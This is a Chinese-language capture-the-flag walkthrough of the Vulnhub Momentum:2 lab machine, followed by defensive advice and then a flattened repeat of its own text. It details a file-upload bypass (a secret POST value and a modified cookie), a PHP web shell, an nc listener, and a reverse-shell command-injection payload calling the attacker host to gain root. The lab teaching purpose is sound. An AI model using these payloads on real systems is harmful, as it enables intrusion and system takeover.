Momentum:2 vulnhub
字数 1097 2025-08-12 12:08:18

Momentum:2 Vulnhub 靶机渗透测试教学文档

1. 靶机信息

  • 名称: Momentum:2
  • 来源: Vulnhub
  • 难度: 中等
  • 测试环境: 本地虚拟网络 (192.168.81.0/24)

2. 初始信息收集

2.1 网络扫描

netdiscover -r 192.168.81.0/24
nmap -A -p- 192.168.81.159

扫描结果:

  • 22端口: SSH服务
  • 80端口: Apache HTTP服务

2.2 Web服务枚举

访问默认页面无有用信息,进行目录扫描:

gobuster dir -u http://192.168.81.159 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x html,txt,php,bak

发现关键路径:

  • /dashboard: 文件上传功能
  • /owls: 上传文件存储位置
  • /ajax.php.bak: 备份文件泄露

3. 漏洞利用

3.1 文件上传漏洞分析

  • 默认上传过滤PHP文件,但允许txt文件
  • 通过ajax.php.bak发现管理员上传逻辑:
    • 可上传pdf、txt和PHP文件
    • 需要设置管理员cookie
    • 需要POST参数secure=val1d
    • Cookie末尾需要添加大写字母"R"

3.2 上传Web Shell

  1. 准备PHP后门文件
  2. 使用Burp Suite拦截上传请求:
    • 添加POST参数: secure=val1d
    • 修改Cookie: 在末尾添加"R"
  3. 上传成功后文件存储在/owls目录

3.3 获取初始访问权限

  1. 设置监听:
nc -lvnp 1234
  1. 访问上传的Web Shell触发反向连接

4. 权限提升

4.1 用户权限获取

  • 在/home/athena目录发现密码信息
  • 发现myvulnerableapp*文件
  • 获取user.txt中的flag

4.2 提权至root

  1. 通过SSH登录athena用户:
ssh athena@192.168.81.159
  1. 检查sudo权限:
sudo -l

发现可以root身份执行特定Python脚本

  1. 分析脚本功能:
  • 执行bash shell并将命令写入log.txt
  • 存在命令注入漏洞
  1. 利用命令注入获取root shell:
; nc 192.168.81.137 9004 -e /bin/sh;
  • 第一个分号结束echo命令
  • 写入反弹shell命令
  • 在攻击机监听9004端口获取root shell
  1. 获取root.txt中的flag

5. 关键点总结

  1. 信息收集阶段:

    • 全面端口扫描
    • 细致的目录枚举
    • 备份文件泄露是关键突破口
  2. 漏洞利用阶段:

    • 文件上传功能是主要攻击面
    • 通过源码分析发现绕过方法
    • 需要修改请求头和参数
  3. 权限提升阶段:

    • 利用sudo权限配置不当
    • 命令注入漏洞利用
    • 通过反向连接获取交互式root shell

6. 防御建议

  1. 针对文件上传漏洞:

    • 实施严格的文件类型验证
    • 不要存储备份文件在web目录
    • 使用随机文件名存储上传文件
  2. 针对权限提升:

    • 限制sudo权限
    • 避免在脚本中使用危险函数
    • 实施输入验证防止命令注入
  3. 通用防御:

    • 定期更新系统补丁
    • 最小化服务暴露
    • 实施适当的日志监控
Momentum:2 Vulnhub 靶机渗透测试教学文档 1. 靶机信息 名称: Momentum:2 来源: Vulnhub 难度: 中等 测试环境: 本地虚拟网络 (192.168.81.0/24) 2. 初始信息收集 2.1 网络扫描 扫描结果: 22端口: SSH服务 80端口: Apache HTTP服务 2.2 Web服务枚举 访问默认页面无有用信息,进行目录扫描: 发现关键路径: /dashboard : 文件上传功能 /owls : 上传文件存储位置 /ajax.php.bak : 备份文件泄露 3. 漏洞利用 3.1 文件上传漏洞分析 默认上传过滤PHP文件,但允许txt文件 通过ajax.php.bak发现管理员上传逻辑: 可上传pdf、txt和PHP文件 需要设置管理员cookie 需要POST参数 secure=val1d Cookie末尾需要添加大写字母"R" 3.2 上传Web Shell 准备PHP后门文件 使用Burp Suite拦截上传请求: 添加POST参数: secure=val1d 修改Cookie: 在末尾添加"R" 上传成功后文件存储在/owls目录 3.3 获取初始访问权限 设置监听: 访问上传的Web Shell触发反向连接 4. 权限提升 4.1 用户权限获取 在/home/athena目录发现密码信息 发现myvulnerableapp* 文件 获取user.txt中的flag 4.2 提权至root 通过SSH登录athena用户: 检查sudo权限: 发现可以root身份执行特定Python脚本 分析脚本功能: 执行bash shell并将命令写入log.txt 存在命令注入漏洞 利用命令注入获取root shell: 第一个分号结束echo命令 写入反弹shell命令 在攻击机监听9004端口获取root shell 获取root.txt中的flag 5. 关键点总结 信息收集阶段: 全面端口扫描 细致的目录枚举 备份文件泄露是关键突破口 漏洞利用阶段: 文件上传功能是主要攻击面 通过源码分析发现绕过方法 需要修改请求头和参数 权限提升阶段: 利用sudo权限配置不当 命令注入漏洞利用 通过反向连接获取交互式root shell 6. 防御建议 针对文件上传漏洞: 实施严格的文件类型验证 不要存储备份文件在web目录 使用随机文件名存储上传文件 针对权限提升: 限制sudo权限 避免在脚本中使用危险函数 实施输入验证防止命令注入 通用防御: 定期更新系统补丁 最小化服务暴露 实施适当的日志监控